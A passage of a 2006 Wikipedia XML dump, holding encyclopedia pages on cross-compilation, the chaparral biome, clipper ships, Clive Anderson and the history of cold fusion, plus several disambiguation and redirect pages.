* [[Chosen people]], [[Chosen one]]
* [[Supersessionism]]
* [[Jewish view of Jesus]]

== External links ==
*[http://www.jewishencyclopedia.com/view.jsp?artid=478&amp;letter=C&amp;search=chosen%20people Chosen people] at the [[Jewish Encyclopedia]]
*[http://www.rj.org/rj.shtml Beliefs of Reform Judaism]
*[http://www.acs.ucalgary.ca/~elsegal/Shokel/Preaching/S970623_Covenanting.html The Jewish concept of chosenness]
*[http://www.simpletoremember.com/faqs/The_Jewish_Nation.htm The Chosen People FAQs]
* [http://www.bc.edu/research/cjl/meta-elements/texts/articles/rosenthal.htm Some are Chosen, All are Loved. Rabbi Gilbert S. Rosenthal]
* [http://www.adatshalom.net/dvarchin/max.html ''The Chosen People: Reclaiming Our Sacred Myth'', Mitchell Max]

===Charges of racism===
*[http://www.adl.org/hate-patrol/churchmovement.asp Anti-Defamation League paper on Christian Identity]
*[http://www.nizkor.org/hweb/orgs/american/adl/paranoia-as-patriotism/covenant.html The Covenant, the Sword, and the Arm of the Lord - a Christian Identity movement]
*[http://www.geocities.com/Athens/Cyprus/8815/ Response to anti-Semites' posting of Talmud &quot;Quotes&quot; and other anti-Semitic fabrications and distortions]
*[http://www.angelfire.com/mt/talmud/ The Real Truth About The Talmud] (Exposes fraudulent or distorted Talmud quotes used by anti-Semites)
*[http://www.chabad.org/article.asp?AID=160993 Are the Jews the Chosen People?] chabad.org

== References ==
* ''Emet Ve-Emunah: Statement of Principles of Conservative Judaism'', JTSA, New York, 1988, p.33-34
* ''Platform on Reconstructionism'' Federation of Reconstructionist Congregations and Havurot, Sept. 1986, pages D, E
* ''Statement of Principles for Reform Judaism'', 1999 Pittsburgh convention of the Central Conference of American Rabbis
* ''Encyclopedia Judaica'', Keter Publishing
* Ismar Elbogen ''Jewish Liturgy: A Comprehensive History'' JPS, 1993. The most thorough academic study of the Jewish liturgy ever written.
* Marcia Falk ''The Book of Blessings'' HarperSanFranciso, 1996
* Reuven Hammer, Ed. ''Or Hadash: A Commentary on Siddur Sim Shalom for Shabbat and Festivals'', The Rabbinical Assembly, 2003
* [[Nosson Scherman]], Ed. ''The Complete Artscroll Siddur'', Mesorah Publications, 2nd edition, 1986

[[Category:Judaism]]
[[Category:Jews]]

[[pl:naród wybrany]]</text>
    </revision>
  </page>
  <page>
    <title>Cross-compilation</title>
    <id>7452</id>
    <revision>
      <id>39353200</id>
      <timestamp>2006-02-12T16:18:46Z</timestamp>
      <contributor>
        <ip>217.98.249.237</ip>
      </contributor>
      <comment>Added link to polish version.</comment>
      <text xml:space="preserve">[[Compiler|Compiling]] a program takes place by running a compiler on the ''build platform''. The compiled program will run on the ''host platform''. Usually these two are the same; if they are different, the process is called '''cross-compilation'''.

Typically the [[hardware architecture]] differs, like for example when compiling a program destined for the [[MIPS architecture]] on an [[x86]] computer; but cross-compilation is also applicable when only the [[operating system]] environment differs, as when compiling a [[FreeBSD]] program under [[Linux]]; or even just the system library, as when compiling programs with [[uClibc]] on a [[glibc]] host.

A &quot;'''Canadian Cross'''&quot; is a shortcut to describe a three-way cross-compilation : on platform A, compile a compiler to run on platform B that generates executable for platform C.  For instance [[NetBSD]] provides a [[POSIX]] [[Unix shell]] script named &quot;build.sh&quot; which will first build its own toolchain with host's compiler which in turn will be used to build the cross-compiler.  Finally the latter will be used to build the whole system.

Cross-compilation is typically more involved and prone to errors than with native compilation. Due to this, cross-compiling is normally only utilized if the target is not yet ''self-hosting'' (i.e. able to compile programs on its own), unstable, or the build system is simply much faster. For many [[embedded system]]s, cross-compilation is simply the only possible way to build programs, as the target hardware does not have the resources or capabilities.

The autotools packages (i.e. [[autoconf]], [[automake]], and [[libtool]]) use the notion of a ''build platform'', a ''host platform'', and a ''target platform''.  The ''build platform'' is where the code is actually compiled.  The ''host platform'' is where the compiled code will execute.  The ''target platform'' usually only applies to compilers as it represents what type of object code the package itself will produce (such as cross-compiling a cross-compiler); otherwise the ''target platform'' setting is irrelevant.

For example, consider cross-compiling a video game that will run on the [[Dreamcast]].  The machine where the game is compiled is the ''build platform'' while the Dreamcast is the ''host platform''.

==See also==
*[[Cross compiler]]

==References==
* [http://kegel.com/crosstool/ Crosstool] is a helpful [[toolchain]] of [[Scripting programming language|scripts]], which create a Linux crosscompile environment for the desired architecture.
* [http://buildroot.uclibc.org/ buildroot] is another set of scripts, but for building a uClibc based system.
*http://www.scratchbox.org/

[[Category:Cross-compilers|*]]

[[pl:Kompilacja skrośna]]</text>
    </revision>
  </page>
  <page>
    <title>Christian persecution</title>
    <id>7453</id>
    <revision>
      <id>15905519</id>
      <timestamp>2002-03-26T12:09:10Z</timestamp>
      <contributor>
        <username>JeLuF</username>
        <id>733</id>
      </contributor>
      <comment>replaced pre-stub by #REDIRECT [[Persecution of Christians]]</comment>
      <text xml:space="preserve">#REDIRECT [[Persecution of Christians]]

</text>
    </revision>
  </page>
  <page>
    <title>Chaparral</title>
    <id>7455</id>
    <revision>
      <id>41539331</id>
      <timestamp>2006-02-28T00:54:00Z</timestamp>
      <contributor>
        <username>WormRunner</username>
        <id>28250</id>
      </contributor>
      <comment>RiDa is a chaparral species?</comment>
      <text xml:space="preserve">: ''This article is about the biome. For other uses, see [[Chaparral (disambiguation)]]''

'''Chaparral''' is a [[shrubland]] [[biome]] found primarily in [[California]], USA, that is shaped by a Mediterranean climate (mild, wet winters and hot dry summers) and wildfire. Similar plant communities are found in the five other Mediterranean climate regions around the world, including the [[Mediterranean]] (where it is known as [[Maquis shrubland|maquis]]), central [[Chile]] ([[Chilean Matorral|matorral]]), [[South Africa]]n Cape Region (known there as [[fynbos]]), and [[Australia]] (Western and Southern).

The word ''chaparral'' comes from the [[Spanish language|Spanish]] word ''chaparro'', or dwarf evergreen oak, which itself comes from the [[Basque language|Basque]] word ''txapar'', with the same meaning.

[[Image:chaparral.jpg|right|thumb|400px|Chaparral, Santa Ynez Mountains, near Santa Barbara, California]]

A typical chaparral plant community consists of densely-growing evergreen [[oak]]s and other drought-resistant shrubs. It often grows so densely that it is all but impenetrable to large animals and humans. This, and its generally arid condition, makes it notoriously prone to wildfires. Although many chaparral plant species require some fire cue (heat, smoke, or charred wood) for germination, chaparral plants are not &quot;adapted&quot; to fire per se. Rather, these species are adapted to particular fire regimes involving season, frequency, intensity and severity of the burn.

==Ecology of fire in chaparral==
There are two misconceptions relating to California chaparral. 1) Chaparral needs to burn to remain healthy, and 2) fire suppression policies have allowed chaparral to accumulate unnatural levels of fuel.

California chaparral is extraordinarily resilient to very long periods without fire. Old-growth chaparral in excess of one hundred years old remains a productive, dynamic ecosystem.  There is no scientific evidence to support the notion that native shrublands have become unhealthy due to overgrowth. In fact, seeds of many chaparral plants actually require 30 years or more worth of accumulated leaf litter before they will successfully germinate. When intervals between fires drop below 10 to 15 years, many chaparral species are eliminated and the system is typically replaced by non-native, weedy grassland.

The idea that older chaparral is responsible for causing large fires is related to one of the most repeated misconceptions regarding the system: past fire suppression efforts have allowed an &amp;#8220;unnatural&amp;#8221; accumulation of brush to develop within the chaparral, leading to huge, catastrophic wildfires. This belief appears to be based on the misapplication of studies relating to dry ponderosa pine forests showing that undergrowth has increased over the past century due to successful fire fighting activities. In the past, surface fires burned through these forests at intervals anywhere between 4 to 36 years, clearing out the understory and creating a more ecologically balanced system. However, this conclusion has nothing to do with California shrublands.

Detailed analysis of historical fire data has shown that not only have fire suppression activities failed to exclude fire from southern California chaparral as they have in ponderosa pine forests, but the number of fires is actually increasing in step with population growth. Research showing differences in fire size and frequency between southern California and Baja has been used to imply larger fires north of the border are the result of fire suppression, but this opinion has been seriously challenged by numerous investigators and is no longer supported by the majority of fire ecologists.

Whenever chaparral burns, everything goes, no matter the age. This is characteristic of a crown fire regime as opposed to the surface fire type found in ponderosa forests. A young, 5-year-old stand of chaparral has already produced more than enough material to fuel and carry a catastrophic wildfire across the landscape.  Overall, how old a recovered chaparral stand happens to be has very little to do with its chances of burning.

There is no question chaparral is extremely flammable, especially during dry weather conditions. As stands grow older, they continue to build up fuel in the form of both dead and living plant material. This is a natural process and part of the normal chaparral life cycle. However, not all chaparral stands are alike and the amount of fuel accumulation varies with the type.  For example, a hillside of ceanothus chaparral has the capacity of accumulating more potential biomass in less than 20 years than an expanse of chamise chaparral does in 60 years. In addition, chaparral on north facing slopes may have more biomass accumulation in 10 years than drier, south-facing slopes do at 80 years. 

The ratio of dead to living material in a chaparral stand is equally complex, with amounts accumulated being determined by multiple environmental factors including prior fire history, direction of slope, and severity of drought periods. Extensive studies by numerous investigators have found 30% dead to living ratios across a range of 20 to 60 year old stands without any significant relationship to age. So automatically assuming an older stand of chaparral is filled with dead fuel ready to burn is not supported by actual field research.

==Species==
In [[Southern California]] chaparral forms a dominant habitat. Members of the chaparral biota native to California, all of which tend to regrow quickly after fires, include:

*[[Ceanothus]]
*[[Chamise]], ([[Adenostoma fasciculatum]])
*[[Scrub oak]]
*[[Laurel sumac]], ([[Rhus laurina]])
*[[Manzanita]]
*[[Mountain mahogany]]
*[[Toyon]]
*[[Yucca]]

==See also==
* [[California chaparral and woodlands]]
* [[Maquis shrubland|Maquis]]


==External links==

*[http://www.californiachaparral.com/ California Chaparral Field Institute]

[[Category:Ecology]]
[[Category: Mediterranean forests, woodlands, and shrub]]

[[fa:خارستان‌های کالیفرنیا]]
[[pl:Chaparral]]</text>
    </revision>
  </page>
  <page>
    <title>CJD</title>
    <id>7456</id>
    <revision>
      <id>38694182</id>
      <timestamp>2006-02-08T00:42:52Z</timestamp>
      <contributor>
        <username>Ikkyu2</username>
        <id>382739</id>
      </contributor>
      <minor />
      <comment>gr</comment>
      <text xml:space="preserve">'''CJD''' can mean:
*[[Creutzfeldt-Jakob disease]]
*[[chronological]] [[Julian day]]
*[[Christliches Jugenddorfwerk Deutschlands]], a German Christian educational institution.

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Cl</title>
    <id>7457</id>
    <revision>
      <id>15905523</id>
      <timestamp>2003-11-08T11:56:23Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>upd. redir</comment>
      <text xml:space="preserve">#REDIRECT [[CL]]</text>
    </revision>
  </page>
  <page>
    <title>Citric Acid</title>
    <id>7458</id>
    <revision>
      <id>15905524</id>
      <timestamp>2002-06-01T18:12:05Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>redirect citric acid</comment>
      <text xml:space="preserve">#REDIRECT [[citric acid]]</text>
    </revision>
  </page>
  <page>
    <title>Clinker</title>
    <id>7460</id>
    <revision>
      <id>41511179</id>
      <timestamp>2006-02-27T21:26:38Z</timestamp>
      <contributor>
        <username>Kevin Ryde</username>
        <id>564285</id>
      </contributor>
      <comment>add [[Humphry Clinker]]</comment>
      <text xml:space="preserve">'''Clinker''' has several meanings:

* [[Clinker (boat building)]], construction method for wooden boats

* [[Slag]], also called clinker, material remaining after smelting metal ore

* [[Cement]] manufacturing clinker is a kilned then quenched product primarily composed of tricalcium silicate, dicalcium silicate, tricalcium aluminate, and calcium aluminoferrite.

* Residue from burning [[coal]]. &lt;!-- having trouble finding a specific article on this, I think it's not quite the same as smelting residue --&gt;

* [[Humphry Clinker]], title character of Tobias Smollett's 1771 novel ''The Expedition of Humphry Clinker''

See also,

* [[Clinker brick]], rough dark coloured bricks

{{disambig}}

[[de:Klinker]]
[[fr:Brique]]
[[nl:Klinker (steen)]]</text>
    </revision>
  </page>
  <page>
    <title>Clipper</title>
    <id>7461</id>
    <revision>
      <id>36054945</id>
      <timestamp>2006-01-21T05:32:47Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>dab</comment>
      <text xml:space="preserve">{{OtherUses|a type of Ship}}
[[Image:Belle_Etoile_1.jpg|thumb|A model of a vessel of the clipper type, the four-masted barque named ''Belle Étoile'']]
A '''clipper''' was a very fast multiple-masted [[sailing ship]] of the [[19th century]]. Generally narrow for their length, limited in their bulk freight carrying capacities, and small by later 19th century standards, the clippers had a large relative [[sail]] area. &quot;Clipper ships&quot; were mostly products of British and American [[shipyard]]s, though France, the Netherlands (the [[Dutch Clippers|Dutch-built]] &quot;Telanak&quot;, built in 1859 for the tea and passenger trade to Java) and other nations also produced a number of them. Clippers sailed all over the world, primarily on the trade routes between Britain and its [[colony|colonies]] in the east, in the trans-Atlantic trade, and in the New York-to-San Francisco route round [[Cape Horn|The Horn]] during the [[Gold Rush]].

==Origins==
[[Image:Forteviot,_Jacobsen.jpg|thumb|right|''&quot;The Forteviot,&quot;'' [[1896]], by Antonio Jacobsen]]
The often quoted derivation of the word, that the vessels &quot;clipped&quot; time off a voyage, is probably incorrect. However, the example of the other class of vessel built for speed, the cutter, reminds us that the cutting notion may have been seen as relevant. One of the meanings of clip, from the [[17th century|seventeenth century]] onward, possibly from the sound of wings, is to fly or move quickly. The term ''clipper'' was originally applied to a fast horse and most likely derives from the term ''clip'', meaning ''speed'', as in &quot;going at a good clip&quot;. The term ''clipper'' seems to be much the same as ''flier''.  The Oxford English Dictionary gives its earliest English quotation as from 1830. Cutler reports that the first newspaper appearance was in [[1835]], but that by then the term was apparently familiar.

In the United States the term &quot;clipper,&quot; described the Baltimore Clipper, a topsail [[schooner]] that was developed in [[Chesapeake Bay]] before the Revolution and was lightly armed in the War of 1812, sailing under Letters of Marque and Reprisal, when the type&amp;mdash;exemplified by the ''Chasseur'', launched at Fells Point, Maryland, 1814&amp;mdash; became known for its incredible speed; a deep draft enabled the Baltimore clipper to sail close to the wind (Villiers 1973). Clippers, outrunning the British blockade of Baltimore, came to be recognized as ships built for speed rather than cargo space; while traditional merchant ships were accustomed to average speeds of under 5 knots (9 km/h), clippers aimed at 9 knots (17 km/h) or better. Sometimes these ships could reach 20 knots (37 km/h). 
[[Image:Prinz_Albert,_Jacobsen.jpg|thumb|left|''&quot;The Prinz Albert,&quot;'' [[1897]], by Antonio Jacobsen]]
Clippers were built for seasonal trades such as tea, where an early cargo was more valuable, or for passenger routes. The small, fast ships were ideally suited to low-volume, high-profit goods, such as [[spice]]s, [[tea]], people, and mail. The values could be spectacular. The &quot;Challenger&quot; returned from Shanghai with &quot;the most valuable cargo of tea and silk ($2,000,000) ever to be laden in one bottom.&quot; The competition among the clippers was public and fierce, with their times recorded in the newspapers. The ships had low expected lifetimes and rarely outlasted two decades of use before they were broken up for salvage. Given their speed and maneuverability, clippers frequently mounted [[cannon]] or [[carronade]] and were often employed as pirate vessels, privateers, smuggling vessels, and in interdiction service.

[[Image:Free_trade.jpg|thumb|right|''Clipper ship sailing card for the &quot;Free Trade,&quot;'' printed by Nesbitt &amp; Co., NY, early 1860s]]

Departures of clipper ships, mostly from New York and Boston to San Francisco, were advertised by clipper ship sailing cards.  These cards, slightly larger than today’s postcards, were produced by letterpress and wood engraving on coated card stock.  Most clipper cards were printed in the 1850s and 1860s, and represented the first pronounced use of color in American advertising art.

Relatively few (perhaps 3,500) clipper cards survive today.  With their stunning appearance, rarity, and importance as artifacts of nautical, Western, and printing history, clipper cards are highly prized by both private collectors and institutions.  See the links below to learn more about clipper ship sailing cards.

==Decline==
Decline in the use of clippers started with the economic slump following the [[Panic of 1857]] and continued with the gradual introduction of the [[steamship]]. Although clippers could be much faster than the early steamships, clippers were ultimately dependent on the vagaries of the wind, while steamers could reliably keep to a schedule. The ''steam clipper'' was developed around this time, and had auxiliary steam engines which could be used in the absence of wind. An example of this type was the [[Royal Charter (ship)|Royal Charter]], built in 1857 and wrecked on the coast of [[Anglesey]] in [[1859]]. The final blow came in the form of the [[Suez Canal]], opened in 1869, which provided a huge shortcut for steamships between [[Europe]] and [[Asia]], but which was difficult for sailing ships to use.

Although many clipper ships were built during the middle of the 1800s, ''[[Cutty Sark]]'' is arguably the only survivor. ''[[Falls of Clyde]]'' is a well-preserved example of a more conservatively designed, slower contemporary of the clippers, which was built for general freight in 1878. Other surviving examples of clipper ships of the era are not as well preserved, for example the ''[[City of Adelaide (1864)|City of Adelaide]]'' (aka ''S.V. Carrick'')[http://www.historyscotland.com/features/svcarrick.html].

== Notable clipper ships ==
* ''[[Great Republic]]''
* ''[[James Baines]]''
* ''[[Lightning (clipper)|Lightning]]''
* ''[[Sea Witch]]''
* [[Clipper ships|Summary details of further famous Clipper Ships]]

==Aerial clippers==
Trans-oceanic [[flying boat]]s, above all the [[Boeing 314]] were established under the name of &quot;flying clipper&quot;, from the early [[1930s]]. To send mail or goods by one of these flights was, in the 1930s, ''to clipper'' it.

== See also ==
* [[William Jardine]]
* [[Donald McKay]]
* [[Packet ship]]
* [[Sail-plan]]
* [[Clipper ships|Famous Clipper ships]]

==External links==
*[http://seafarer.netfirms.com/2/telanak.htm The &quot;Telanak&quot;]
*[http://www.tenpound.com/clippercard.html Clipper Ship cards]
*[http://www.tradecards.com/articles/br/ Clipper Ship Cards (from The Trade Card Place)]
*[http://www.flyingclippers.com/ The Flying Clippers]
*[http://www.theshipslist.com/ships/descriptions/baltimore.htm The Shipslist: Baltimore Clipper]
*[http://www.seakayak.ws/kayak/kayak.nsf/NavigationList/NT00003CC2 &quot;Baltimore Clippers - Pirates of the Chesapeake&quot;]: career of ''Chasseur''
* Clipper Wind [http://www.clipperwind.com]
== References ==

*[[Carl C. Cutler]], ''Greyhounds of the Sea'' (1930, 3rd ed. [[Naval Institute Press]] 1984)
*Alexander Laing, ''Clipper Ship Men'' (1944)
*David R. MacGregor, ''Fast Sailing Ships: Their Design and Construction, 1775-1875''  Naval Institute Press, 1988 ISBN 0870218956  [http://www.loc.gov/catdir/toc/becites/genealogy/immigrant/87062528.idx.html#b index]
*Oxford English Dictionary (1987) ISBN 0-19-861212-5.
*Bruce D. Roberts, ''Clipper Ship Cards:  The High-Water Mark in Early Trade Cards,'' The Advertising Trade Card Quarterly 1, no. 1 (Spring 1994): 20-22.
*Bruce D. Roberts, ''Clipper Ship Cards:  Graphic Themes and Images,'' The Advertising Trade Card Quarterly 1, no. 2 (Summer 1994): 22-24.
*Bruce D. Roberts, ''Museum Collections of Clipper Ship Cards,'' The Advertising Trade Card Quarterly 2, no. 1 (Spring 1995): 22-24.
*Bruce D. Roberts, ''Selling Sail with Clipper Ship Cards,'' Ephemera News 19, no. 2 (Winter 2001): 1, 11-14.
*Villiers, Capt. Alan, 1973. ''Men, Ships and the Sea'' (National Geographic Society)

{{Clipper ships}}
{{Sailing Vessels and Rigs}}

[[Category:Sailboat types]]
[[Category:Ship types]]

[[de:Klipper (Schiff)]]
[[es:Clipper (barco)]]
[[fr:Clipper]]
[[is:Klippari]]
[[it:Clipper (nave)]]
[[nl:Klipper]]
[[pl:Kliper (żaglowiec)]]
[[ru:Клипер (парусное судно)]]</text>
    </revision>
  </page>
  <page>
    <title>Clive Anderson</title>
    <id>7462</id>
    <revision>
      <id>41630124</id>
      <timestamp>2006-02-28T17:22:45Z</timestamp>
      <contributor>
        <username>JeffreyMaynard</username>
        <id>995768</id>
      </contributor>
      <text xml:space="preserve">'''Clive Anderson''' (born [[December 10]] [[1952]]) is a former [[barrister]] (specialising in [[criminal law]]) turned [[television presenter]] from the [[United Kingdom]]. He is also a comedy sketch writer, who has written for [[Frankie Howerd]] and [[Griff Rhys Jones]]/[[Mel Smith]]. One of his early comedy writing projects was ''[[Black Cinderella Two Goes East]]'' with [[Rory McGrath]] for [[BBC Radio 4]] in [[1978]].  

He is famous for his fast, nervous delivery, and his close-to-the-knuckle witticisms. Most famously, he made remarks about the [[Bee Gees]] during a television interview with them which caused them to walk out, and once had a glass of water poured over his head by a perturbed [[Richard Branson]].

He was educated at Harrow County School for Boys, where his group of friends included [[Michael Portillo]], and then  went to university at [[Selwyn College, Cambridge]]. He was involved in the fledgling [[alternative comedy]] scene in the early 1980s and even performed on occasion. He made his name as host of the improvised television comedy show ''[[Whose Line Is It Anyway?]]'' which was full of his rapid-fire wit as well as the show-ending catchphrase &quot;This is me, Clive Anderson, saying good night. Good night.&quot; He has been a frequent participant on [[Have I Got News For You]], notching up seven appearances in total.

As a journalist for the BBC he travelled around the world looking at problems 'in out-of-the-way places', though mostly arguing about whether they can film there. ''[[Our Man In..]]'' featured episodes on [[Monkeywrenching]] in American logging and [[Advance_fee_fraud|419 scams]] in [[Nigeria]]. More recently, Anderson has forged a career on [[BBC Radio 4|Radio 4]] presenting a legal affairs show and has produced several pieces of journalism for various newspapers.

He is currently president of the [[Woodland Trust]].

Shows he has presented include:

* ''[[Clive Anderson Talks Back]]''
* ''[[Our Man in..]]
* ''[[Whose Line Is It Anyway?]]''
* ''[[Mastermind (television)|Discovery Mastermind]]''

{{start box}}
{{succession box|title=[[Footlights President]]|before=Jon Canter|after=[[Chris Keightley]]|years=1974&amp;ndash;1975}}
{{succession box | title=Host of ''[[Whose Line Is It Anyway?]]''| before=None | after=[[Drew Carey]] in the [[American Broadcasting Company|ABC-TV]] version.| years=1988&amp;ndash;1998}}
{{end box}}

==External links==
*{{imdb name|id=0026536|name=Clive Anderson}}
*[http://www.speakers.co.uk/Retro/5293.htm Speaker Biography: Clive Anderson]

[[Category:1952 births|Anderson, Clive]]
[[Category:Living people|Anderson, Clive]]
[[Category:Alumni of Selwyn College, Cambridge|Anderson, Clive]]
[[Category:British barristers|Anderson, Clive]]
[[Category:British television presenters|Anderson, Clive]]
[[Category:Cambridge Footlights|Anderson, Clive]]
[[Category:Game show hosts|Anderson, Clive]]</text>
    </revision>
  </page>
  <page>
    <title>Cold fusion</title>
    <id>7463</id>
    <revision>
      <id>41839051</id>
      <timestamp>2006-03-02T01:58:51Z</timestamp>
      <contributor>
        <ip>84.204.113.186</ip>
      </contributor>
      <comment>/* Other kinds of fusion */</comment>
      <text xml:space="preserve">{{dablink|For the article about the computer programming language, see [[ColdFusion]].}}
[[Image:ColdFusion.jpg|thumb|Charles Bennett examines three &quot;cold fusion&quot; test cells at the Oak Ridge National Laboratory, USA]]

'''Cold fusion''' is [[nuclear fusion]] occurring well below the temperature required for [[thermonuclear]] reactions (millions of degrees [[Celsius]]) in a relatively small &quot;table top&quot; apparatus. A variety of experimental methods are used; originally [[electrolytic cell]]s. The idea was first brought into popular consciousness by the Fleischmann-Pons experiment in March of 1989, which was front-page news for some time, and has been controversial since. Cold fusion is sometimes referred to as low energy nuclear reactions (LENR) or chemically-assisted nuclear reactions (CANR).

The subject has been of scientific interest since nuclear fusion was first understood. Hot nuclear fusion using [[deuterium]] has the potential to yield large amounts of [[energy]], uses an abundant fuel source, and produces only small amounts of manageable waste; thus a cheap and simple process of nuclear fusion would have great [[economic]] impact.  Cold fusion is especially attractive because proponents claim that it produces very little [[nuclear radiation]], and can be scaled down to small devices such as vehicle engines.

The existence of cold fusion has been a controversial issue. It has been dismissed by some as an example of [[pathological science]], and an idea that would not go away, long after the majority of scientists in the field dismissed it as wrong. Despite this opposition, researchers continue to report results. While there is little mainstream acceptance of the field today, thousands of peer-reviewed cold fusion papers have been published. [http://www.lenr-canr.org/LibraryGuide.html] Despite opposition and ridicule by mainstream journals, several peer-reviewed papers continue to be published every year. [http://www.lenr-canr.org/FilesByDate.htm] Mainstream journals such as ''Scientific American'' and ''Nature'' have often attacked the subject, for example in March and October 2005 respectively, and most other journals reject papers on the subject without reviewing them. In January 2006, the ''Washington Post,'' ''Time'' magazine, the ''Guardian,'' and other major newspapers and magazines attacked cold fusion, claiming it was a &quot;scientific misdeed&quot; debunked in 1989. [http://lenr-canr.org/News.htm]

The term &quot;cold nuclear fusion&quot; was first used in the scientific literature by [[Johann Rafelski]] and [[Steven E. Jones]] of [[Brigham Young University]] in 1986 in an investigation of what is today referred to as [[muon-catalyzed fusion]]. This research was generally unrelated; however, the distinction was not immediately understood by the press in 1989. Consequently, the term &quot;cold fusion&quot; became associated with the Fleischmann-Pons experiment and with other experiments involving metallic catalysts (and particularly electrolysis).  

==History of cold fusion by electrolysis==

===Early work===
The idea that [[palladium]] or [[titanium]] might catalyze fusion stems from the special ability of these metals to absorb large quantities of [[hydrogen]] (including its [[deuterium]] [[isotope]]).  The hydrogen or deuterium disassociate with the respective positive ions but remain in an anomalously mobile state inside the metal lattice, exhibiting rapid diffusion and high electrical conductivity.  The special ability of palladium to absorb hydrogen was recognized in the [[19th century|nineteenth century]]. In the late [[1920s|nineteen-twenties]], two [[Germany|German]] scientists, F. Paneth and K. Peters, reported the transformation of hydrogen into helium by spontaneous nuclear catalysis when hydrogen is absorbed by finely divided palladium at room temperature. These authors later acknowledged that the helium they measured was due to background from the air. 

In [[1927]], [[Sweden|Swedish]] scientist J. Tandberg said that he had fused hydrogen into helium in an [[electrolytic cell]] with palladium electrodes. On the basis of his work he applied for a Swedish patent for &quot;a method to produce helium and useful reaction energy&quot;. After deuterium was discovered in [[1932]], Tandberg continued his experiments with [[heavy water]]. Due to Paneth and Peters' retraction, Tandberg's patent application was eventually denied.

===Pons and Fleischmann's experiment===

On [[March 23]], [[1989]], the chemists [[Stanley Pons]] and [[Martin Fleischmann]] (&quot;P and F&quot;) at the [[University of Utah]] held a press conference and reported the production of excess heat that could only be explained by a nuclear process. The report was particularly astounding given the simplicity of the equipment: essentially an [[electrolysis]] cell containing [[heavy water]] (deuterium oxide) and a [[palladium]] [[cathode]] which rapidly absorbed the deuterium produced during electrolysis. The press reported on the experiments widely, and it was one of the front-page items on most newspapers around the world. The immense beneficial implications of the Utah experiments, if they were correct, and the ready availability of the required equipment, led scientists around the world to attempt to repeat the experiments within hours of the announcement.

The press conference followed about a year of work of increasing tempo by Pons and Fleischmann, who had been working on their basic experiments since [[1984]]. In [[1988]] they applied to the [[US Department of Energy]] for funding for a larger series of experiments: up to this point they had been running their experiments &quot;out of pocket&quot;.

The grant proposal was turned over to several people for [[peer review]], including Steven Jones of [[Brigham Young University]]. Jones had worked on [[muon-catalyzed fusion]] for some time, and had written an article on the topic entitled ''Cold Nuclear Fusion'' that had been published in ''[[Scientific American]]'' in July [[1987]]. He had since turned his attention to the problem of fusion in high-pressure environments, believing it could explain the fact that the interior [[temperature]] of the [[Earth]] was hotter than could be explained without nuclear reactions, and by unusually high concentrations of helium-3 around [[volcano]]es that implied some sort of [[nuclear reaction]] within. At first he worked with [[diamond anvil]]s, but had since moved to [[electrolytic cell]]s similar to those being worked on by Pons and Fleischmann, which he referred to as ''piezonuclear fusion''. In order to characterize the reactions, Jones had spent considerable time designing and building a neutron counter, one able to accurately measure the tiny numbers of neutrons being produced in his experiments.

Both teams were in [[Utah]], and met on several occasions to discuss sharing work and techniques. During this time Pons and Fleischmann described their experiments as generating considerable &quot;excess energy&quot;, excess in that it could not be explained by [[chemical reaction]]s alone. If this were true, their device would have considerable commercial value, and should be protected by [[patent]]s. Jones was measuring [[neutron]] flux instead, and seems to have considered it primarily of scientific interest, not commercial. In order to avoid problems in the future, the teams ''apparently'' agreed to simultaneously publish their results, although their accounts of their [[March 6]] meeting differ.

In mid-March both teams were ready to publish, and Fleischmann and Jones were to meet at the airport on the 24th to both hand in their papers at the exact same time. However Pons and Fleischmann then &quot;jumped the gun&quot;, and held their press conference the day before. Jones, apparently furious at being &quot;scooped&quot;, faxed in his paper to ''Nature'' as soon as he saw the press announcements. Thus the teams both rushed to publish, which has perhaps muddied the field more than any scientific aspects.

Within days scientists around the world had started work on duplications of the experiments. On [[April 10]] a team at [[Texas A&amp;M University]] published results of excess heat, and later that day a team at the [[Georgia Institute of Technology]] announced neutron production.  Both results were widely reported on in the press.  Not so well reported was the fact that both teams soon withdrew their results for lack of evidence. For the next six weeks additional competing claims, counterclaims, and suggested explanations kept the topic on the front pages, and led to what writers have referred to as &quot;fusion confusion.&quot;

In mid-May Pons received a huge standing ovation during a presentation at the [[American Chemical Society]].  The same month the president of the University of Utah, who had already secured a $5 million commitment from his state legislature, asked for $25 million from the federal government to set up a &quot;National Cold Fusion Institute&quot;.  On [[May 1]] a meeting of the [[American Physical Society]] held a session on cold fusion that ran past midnight; a string of failed experiments were reported. A second session started the next evening and continued in much the same manner.  The field appeared split between the &quot;chemists&quot; and the &quot;physicists&quot;.

At the end of May the [[Energy Research Advisory Board]] (under a charge of the [[US Department of Energy]]) formed a special panel to investigate cold fusion. The scientists in the panel found the evidence for cold fusion to be unconvincing. Nevertheless, the panel was &quot;''sympathetic toward modest support for carefully focused and cooperative experiments within the present funding system''&quot;. [http://www.ncas.org/erab/sec5.htm]

Both critics and those attempting replications were frustrated by what they said was incomplete information released by the University of Utah. With the initial reports suggesting successful duplication of their experiments there was not much public criticism, but a growing body of failed experiments started a &quot;buzz&quot; of their own.  Pons and Fleischmann later apparently claimed that there was a &quot;secret&quot; to the experiment, a statement that infuriated the majority of scientists to the point of dismissing the experiment out of hand.

By the end of May much of the [[media]] attention had faded.  This was due not only to the competing results and counterclaims, but also to the limited attention span of modern media. However, while the research effort also cooled to some degree, projects continued around the world.

In July and November 1989, ''Nature'' published papers critical of cold fusion [http://www.nature.com/nature/journal/v340/n6228/abs/340029a0.html] [http://www.nature.com/nature/journal/v342/n6248/abs/342375a0.html].

===Experimental set-up and observations===

[[Image:Cold-fusion-calorimeter-nhe-diagram.png|thumb|A cold fusion calorimeter of the open type, used at the New Hydrogen Energy Institute in Japan. ''Source: SPAWAR/US Navy TR1862''|220px]]

